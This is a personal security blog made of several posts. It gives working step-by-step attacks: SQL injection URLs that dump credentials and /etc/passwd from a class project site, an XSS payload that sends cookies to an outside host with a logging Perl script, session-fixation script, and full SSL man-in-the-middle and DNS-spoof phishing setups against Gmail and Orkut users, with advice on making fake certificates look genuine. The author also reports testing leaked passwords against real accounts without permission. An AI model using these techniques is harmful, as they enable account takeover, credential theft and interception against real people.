Latest Entries »

Besides the bla bla bla about the complete desertion of write in my blog, I was really busy in the past months.

So, wind back to June, 2011, the @LuzSec released 62,000+ emails/passwords. Where these emails/passwords come from? I am not sure.


I have decided to check how was the reuse of those passwords on the original tuple e-mail/password. I mean, if one of released e-mail/password was heyyou@gustavomonteiro.com and the password was 123456,  I just tested it against the original e-mail account.

Unlike @LulzSec, I will not release my results, but just for the record, about the .br providers, I discovered near 4,000 valid e-mail/passwords. The results about Google accounts was really interesting.

You already knows what the moral of that story is, if there is one. Never, ever, reuse your password on a different services – or, at least, try to use another layer of security, like Google 2-step verification.

In spite of not release my results neither the Lulz’s release, you can check the very first version of my python script that was used for studies purposes.

Back to 2009, I was quite interested to do something using the scapy library for Python. The opportunity comes with another college project when I faced the challenge of identify patterns of Skype connections on a LAN.

At the time, my studies was based on two articles:
  • An Analysis of the Skype Peer-to-Peer Internet Telephony Protocol, by Salman A. Baset and Henning G. Schulzrinne
  • Silver Needle in the Skype, by Philippe Biondi and Fabrice Desclaux.
Despite the fact of Skype use cryptography in most of its operations, we can search for generic patterns which can lead us to, at least, suspect of the use of Skype.
Figure1. Skype Network: There are three main entities: supernodes, ordinary nodes, and the login server. For more information, there is a lot of good materials on the internet. I suggest, moreover, read the 2 articles commented above.

Some Skype features at the time:


  1. Skype encrypts all the calls and stores user information in a decentralized way.
  2. It is unable to distinguish: normal behavior or information?
  3. Besides the privacy, encryption is used to obfuscate the code and how Skype works.
  4. Skype does not work without TCP. However, it works without UDP. See below.

The Skype algorithm:

To connect to the Skype network, the host cache must contain a valid entry. A TCP connection must be established (i.e. to a supernode) otherwise the login will fail.

 1.  start
 2.  send UDP packet(s) to HC
 3.  if no response within 5 seconds then
 4.    attempt TCP connection with HC
 5.    if not connected then
 6.      attempt TCP connection with HC on port 80 (HTTP)
 7.      if not connected then
 8.        attempt TCP connection with HC on port 443 (HTTPS)
 9.        if not connected then
10.          attempts++
11.          if attempts==5 then
12.            fail
13.          else
14.            wait 6 seconds
15.            goto step 2
16.  Success
Source: Wikipedia

The skype_oinc.py PoC:

So, I decided to turn my life more easy by using Scapy for this work. I also tried to be more simple. It means that I chose three basic characteristics of Skype and sniff in search of them at the LAN. Ok, I know that it is quite generic but think of it as a proof-of-concept.

Bootstrap node is a node that provides initial configuration information to newly joining nodes so that they may successfully join the overlay network.  At Skype, the bootstrap node generally uses 33033 TCP port to exchange information.
Check the “getlatestversion” string at any requests, used to check updates for Skype. In this phase, Skype also make use of NAck packets.
Feel free to improve features on the code: whether make programming improvements or new techniques for detect the Skype using.
If you want to contact me to share experiences about this topic, contact me at the comments.

The  Session Fixation

In a short, according to OWASP:

Authenticating a user without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Session fixation vulnerabilities occur when:

  1. A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
  2. An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user’s account through the active session

This is exactly what we’ll do now.
After a long time acting like a couch potato, I am back with another vulnerability present at Bengala’s. This one is more easy and simple to explore than the others, but the interesting thing is that originally the vulnerability should not exist, but was discovered along the seminar preparation.
The session fixation issue can be summarized by the image below:

1. The attacker should request a page to get a valid token.

2. The attacker forces the victim to use the same token.

<script>document.cookie="PHPSESSID=5501f4e3e3a8463c117c823e1e128158; path=/"; </script><iframe src = "http://www.victim.com/index.html" style="display:none" border = 0></iframe>
Use a persistent XSS at comment pages that also can be viewed by most of unauthenticated users (not yet). Also, you can mix another techniques and improve your attack, like forcing the victim to use the token, and also steals it.

3. The victim log in to the page using the token generated by the attacker.

4. The attacker gains access to the web application after the victim validates the session.

This is it. The Bengala’s Sexshop was a web application used to explain to my classmates some kinds of vulnerabilities. Of course, it was in a very basic way, completely different of the real world, which I had the pleasure to work in the 5 years that I spent working for Tempest.

Oh, I almost forgot: the blog continues.

After endless days studying and doing activities not exactly related to information security, I am finally running back thru security borders. The second part of Bengala’s series relies on Cross-Site Scripting (“XSS”) attacks. Basically there are two types of XSS, however, I’ll focus on the Persistent Cross-Site.

There are three steps:

1. Malicious Script Injection

At the first part of saga, we were able to retrieve some valid credentials to log in.

In order to inject the malicious code, we need to find the injection point into the application.


Comment fields are the greatest choice to inject malicious code because a lot of people likes to contribute with his reviews about products and so on. Consequently a lot of users visualize these pages.

After that, we need to insert the malicious code below into the “Mensagem” field:

<script>document.write('<img src=http://192.168.0.192/cgi-bin/xss.pl?' + document.cookie + '>');</script>

It’ll insert a little PERL script which essentially steals the cookie of wolowitz user and write into a log file (called xss.txt) at 192.168.0.192 server. I almost forgot, the script acts stealing information disguised as an GIF image (1×1 pixel).

The code is:

#!/usr/bin/etc/perl
use strict;
print "Content-type: image/gif\n\n";
open(in, "./pirata.gif");
print $- while ();
close(in)
open(out,">>xss.txt")
print out time ",$ENV{REMOTE_ADDR},$ENV{QUERY_STRING},$ENV{HTTP_REFERER}\n"
close(out);

Note: I intentionally insert some trivial bugs just to prevent the use by script kiddies.

2. The victim view the data entered and executes the script

Now, when another user try to access the same page that you inserted the malicious code, his cookie session will be stolen.

And….

The magical.

3. The attacker capture the cookie session of the victim

Check out the log file and recover the cookie. To change your cookie session, you may use usually web proxies like Burp Suite or Paros Proxy to change your HTTP request.

In spite of generally users never use the “Log out” button, many sites implements time out to the session. It’ll reduce the problem because after some pre defined time the cookies will be invalid. Furthermore, if the site implements some more complicated kind of user verification mechanisms, which mixes various aspects (like Google do), this technique will be innocuous.

So, use your head to perpetuate the access.

Next and last post of saga: Part III – The session fixation issue.

The Bengala’s Sexshop was a (fictional sexshop) project for the Advanced Topics in Computer Science class, which was taught by Rodrigo Assad. The project was to design an application with some basic web application well-known bugs, like SQL Injection, Cross-Site Scripting or something like that.

My colleagues Mário Ramos (also developer at Tempest Security Intelligence, which I had the pleasure to work with) and Felipe Rangel (we have been friends since mid-youth, long before thinking about study together) who developed the project.

We have decided to explore basically two bugs. The bonus was another history that I promise to tell in another time.

  1. Classic SQL Injection
  2. Cross-Site Scripting (Reflected and Persistent)
  3. Bonus: Session Fixation

The Bengala’s Sexshop Application

The Bengala’s Sexshop was developed to be a cool example for the other students, by present something different and didactical to show our l33t-t3kn33kas.

Felipe populated application in a very real way: He inserted whips, pornographic videos and other items were sold as real. In each “consumer goods”, there was the option to comment on the product, with the user being logged in or not.

The SQL Injection attack

As usual, I’ll not explain how it works. Google it.

1. Discovering the number of fields from the original query

Firstly, I have identified one injection vector at Bengala’s Sexshop: http://10.0.0.28/produto.php?id=14

After that, I needed to discover the number of fields with the ORDER statement. I have tried several times until I get the following error message:

By using the following command:

http://10.0.0.28/produto.php?id=14 ORDER BY 9 ##

Summary: I have identified that 8 is the exactly number of fields of the original query (http://10.0.0.28/produto.php?id=14)

So, guess what? We have 8 fields to explore.

2.  Insert a second query with the number of fields and data types compatible with the first

Piece of cake:

http://10.0.0.28/produto.php?id=14 UNION SELECT 1,2,3,4,5,6,7,8 ##

Summary: Look for the fields 2, 4 and 6 printed out on the screen. They'll be used in the future.

3.  List the tables database

http://10.0.0.28/produto.php?id=14 UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables LIMIT 1,1 ##

Note that I have used the field 2 to exhibit the content result of the query made up. The use of LIMIT is required to list all tables, only modifying the arguments:

http://10.0.0.28/produto.php?id=14 UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables LIMIT 2,1 ##

If you want to discover all the tables by yourself, one of most dirty and poor way is by use the following one-liner-shell-script to do it:

root@lightman:~# for i in $(seq 1 100); do lynx --source http://10.0.0.28/produto.php?id=14%20UNION%20SELECT%201,table_name,3,4,5,6,7,8%20FROM%20information_schema.tables%20LIMIT%20${i},1 | grep -i style11 | grep "td class" | cut -d'<' -f2 | cut -d'>' -f2;  done

Faster and educative (yes, I love POG).

4.  List table columns

Is the same idea of  table names:

http://10.0.0.28/produto.php?id=14 UNION SELECT 1,column_name,3,4,5,6,7,8 FROM information_schema.columns LIMIT 1,1 ##

5.  Retrieve Information

Now, with both tables and columns identified, I was able to retrieve any kind of information.

http://10.0.0.28/produto.php?id=14 UNION SELECT 1,login,3,4,5,senha,7,8 FROM cadastro ##

User: stewie
Password:
12345

And also retrieve system’s information:

http://10.0.0.28/produto.php?id=14 UNION SELECT 1,load_file%280x2f6574632f706173737764%29,3,4,5,6,7,8 ##

(/etc/passwd snippet)

To be continued with the Cross-Site Scripting attack.

When I first met the padlocks in the lower right corner on my browser, I’ve never really believed in them, even seeing it on several sites considered reliable. João Lins, my colleague at Tempest Security Intelligence, wrote something about it on the company blog.

Over the years, I’ve also been seeing many ways to deceive naive users and today I’ll show you a well known technique called Man-In-The-Middle (which use the ARP spoof concepts from the last post)  over SSL.

There are more sophisticated (and simple) methods and maybe I’ll talk about them in the future. The main idea is to show you something being built, step-by-step. So here we go:

  1. OpenSSL to create some fake certificates.
  2. The Burp Suite, to help us sitting a proxy server between the Victim and the Internet.
  3. IPTables to redirect the traffic.
  4. The arpspoof from DSniff to, guess what, spoof the traffic.

The victims will be the users requests to Gmail . They’ll  be intercepted and forged by Burp Suit which sends the request to the Web site, handles any redirect to an SSL page and returns an exact duplicate to the user, without the encryption.

Generating X.509 Certificates

The easiest way to create X.509 certificates on Linux is the openssl command and the auxiliary tools.

First, I’ve created a 2048-bit private key to use when creating our CA (Certificate Authority).:

wolowitz:Temp gfm$ openssl genrsa -des3 -out CA.key 2040
Generating RSA private key, 2040 bit long modulus
..........................................................................................................+++
..............................................................................................................................................+++
e is 65537 (0x10001)
Enter pass phrase for CA.key:
Verifying - Enter pass phrase for CA.key:

Next, I’ve created a master certificate based on this key, to use when signing other certificates:

wolowitz:Temp gfm$ openssl req -new -key CA.key -x509 -days 1095 -out CA.crt
Enter pass phrase for CA.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:BR
State or Province Name (full name) [Some-State]:Pernambuco
Locality Name (eg, city) []:Recife
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Virtucon
Organizational Unit Name (eg, section) []:Underground Lair
Common Name (eg, YOUR name) []:Doctor Evil
Email Address []:

Note: I am filling the fields as I want. If you actually wants to trick users who access the GMail, I suggest you to copy the fields as shown below:
Now you have an almost perfect GMail’s certificate. Why almost? Homework: Try to identify the difference between them.

The next step is generating a private RSA key of the server certificate:

wolowitz:Temp gfm$ openssl genrsa -des3 -out certserve.key
Generating RSA private key, 512 bit long modulus
.......++++++++++++
.................++++++++++++
e is 65537 (0x10001)
Enter pass phrase for certserve.key:
Verifying - Enter pass phrase for certserve.key:

A CSR or Certificate Signing request is a block of encrypted text that is generated on the server that the certificate will be used on.

wolowitz:Temp gfm$ openssl req -new -key certserve.key -out certserve.csr
Enter pass phrase for certserve.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:BR
State or Province Name (full name) [Some-State]:PE
Locality Name (eg, city) []:Recife
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Corleone Family
Organizational Unit Name (eg, section) []:Gambling
Common Name (eg, YOUR name) []:Michael Corleone
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

When prompted for the x509 Common Name attribute information, enter the fully qualified hostname the certificate will be used on.

So, to take advantage of SSL encryption we need to generate and sign the server certificate using the root CA (self signed):

wolowitz:Temp gfm$ openssl x509 -req -days 365 -in certserve.csr -CA CA.crt -CAkey CA.key -CAcreateserial -out certserve.crt
Signature ok
subject=/C=BR/ST=PE/L=Recife/O=Corleone Family/OU=Gambling/CN=Michael Corleone
Getting CA Private Key
Enter pass phrase for CA.key

A key can optionally be self-signed to create a temporary testing certificate until the signed certificate is created by the CA.

Finally, extract the PKCS12 file of server certificate:

wolowitz:Temp gfm$ openssl pkcs12 -export -in certserve.crt -inkey certserve.key -out certserve.p12
-name certificado -CAfile CA.crt -caname google.inc -chain
Enter pass phrase for certserve.key:
Enter Export Password:
Verifying - Enter Export Password:bur

Configure the Proxy server to offer the fake certificate to Victim

1. Go to Proxy –> Options

2. Use a custom certificate (PKCS12):

3. Uncheck listen on loopback interface only option:

At this time, Burp will intercept the user’s access to GMail and deliver the fake certificate previously generated.

Traffic redirecting

First of all, we need to enable the IP forward. If not, it could cause a DoS on the victim.

wolowitz:Temp gfm$ echo 1 > /proc/sys/net/ipv4/ip_forward

Now you need to redirect the desired traffic to Burp:

wolowitz:Temp gfm$ sudo iptables -A PREROUTING -t nat -p tcp -s <victim> -d google.com -m multiport --dport 80,443 -j DNAT --to <attacker>:<burpport>
wolowitz:Temp gfm$ sudo iptables -A PREROUTING -t nat -p tcp -s <victim> -d gmail.com -m multiport --dport 80,443 -j DNAT --to <attacker>:<burpport>
wolowitz:Temp gfm$ sudo iptables -I INPUT 1 -p tcp -s <victim> --dport <burpport> -j ACCEPT

Finally, the ARPspoofing

wolowitz:Temp gfm$ sudo arpspoof -t <victim> <gateway>

User’s Access

When the victim access the GMail, he’ll receive the traditional warning message about untrusted certificates:


In general, the users tends to click on “I Understand the Risks” with no guarantee about the site’s identity. Even those who check the identity, fail to trust in the fields below:

Note that Common Name, Organization, etc., are the same fields that I have chosen when I was generating the X.509 certificates. So, one more time, if the attacker wants to be more stealth as possible, he needs to copy this fields exactly as Google fill.

At this time, note that the Burp intercepted traffic and could recover the victim’s password. Look for the fields “Email” and  “Password”.

If the victim miraculously check out the fingerprints, he can detect that something strange happens. He may also notice something wrong because the certificate should not be invalid. In this case, the attack would have failed.

Before throwing in the towel, I thought about getting out of inertia and finally start my blog with something practical and, why not, very cool. This technique I usually demonstrate for the curious people, mostly non technician, who discovered my superpower as internet superhero (called Information Security Analyst most of the time, specially for the security industry) and who eventually ask me for reveal those powers.

When it comes into professional field, this technique may be very useful to retrieve password of several systems and, in this case, specially  for web applications credentials recovery. To stand out this practice, I am going to use three tools: two of the dsniff suite (arpspoofing and dnspoofing) and the framework called Social Engineering Toolkit. Nevertheless, you can probably use fewer tools. I have decided to use this three just for didactic purposes.

Note: There are a lot of great literature explaining some concepts used in this post. This time I’ll skip the concepts of ARP spoofing, DNS spoofing and both DNS and ARP protocol as well. Let me Google that for you.

Meeting the scenario

Supose an arbitrary Ethernet LAN with 2 users:

  1. An inadvertent user called Sheldon (192.168.0.137)
  2. A skilled user called Charlie (192.168.0.156)

Now suppose that Charlie wants to do a boyish trick and discover the Sheldon’s Orkut credentials. The first step is identify the IP address of Sheldon and the network gateway.

To identify the Sheldon’s IP address, Charlie can perform a Nmap scanning with the simple “-sP” option in order to identify who is Sheldon.

In this case, Charlie previously knows that Sheldon is a Mac user. Note the line MAC Address: 00:26:BB:00:AC:36 (Apple).

Now he needs to know what is the gateway. One possibility in Linux environments is type “route -n” on the terminal.

Charlie saw the same as you: The default gateway is 192.168.0.1. Now, let’s start building some cool stuff.

The arpspoof tool

Charlie uses it to send fake (spoofed) ARP messages to Sheldon aiming to associate your MAC Address with the IP address of another node (in this case, the default gateway). Any traffic meant for Sheldon IP address would be mistakenly sent to Charlie instead.

The arpspoof tool is now performing spoofed ARP messages to Sheldon. In your own test environment, you can test if the ARP spoofing has been successful by typing on the target’s terminal:

Look up for the MAC Address of default gateway long before the Charlies attack.

Now look for the new default gateway MAC Address. As you see, is the same value of Charlies MAC Address.

The dnsspoof tool

Once  ARP spoofed, Charlie needs to forge DNS replies to Sheldon. The main idea is direct his HTTP traffic to his own webserver where the fake werbsite are served.

First, you should create a file almost like the Linux /etc/hosts visual. Fortunately, dnsspoof have already comes with some examples.

Charlie creates a line pointing his own IP address as replies to all (note that *.*) Sheldon’s DNS requests looking by Orkut. After that, he just execute dnsspoof.

The Social Engineering Toolkit (“SET”)

Now Charlie needs to create the fake website to accomplish the original  Orkut website. Run SET and select 2 on the menu:

It means that Charlie will use a Website attack method. Now choose the number 3: Credential Harvester Attack Method

Now choose Site Cloner option to clone the Orkut website.

Now it’s done. All the environment has been created and is waiting for Sheldon type in his browser: http://www.orkut.com. After that, SET  will be in charge of getting credentials.

Sheldon Access

When Sheldon access the Orkut.com site, it’s completely transparent to him, unless when he types his credentials to log in Orkut. Even typing the correct login/password, he can not log in because Charlie still perform the DNS spoof attack. One of most solutions is stop the dnspoof after retriever the credential desired.

The Result

When Sheldon types his credentials, Charlie receives a lot of informations about it.

SET summarize the results

As you can see, Charlie finally succeed to obtain Sheldon’s credentials at Orkut.com.

Note: To perform attacks like that, you need to active packet routing. Otherwise, you can cause a Denial of Service instead. Type on terminal: echo 1 > /proc/sys/net/ipv4/ip_forward

Note 2: There are a lot of possible ways to perform this attack. Your creativity is fundamental to perform more elaborated attacks.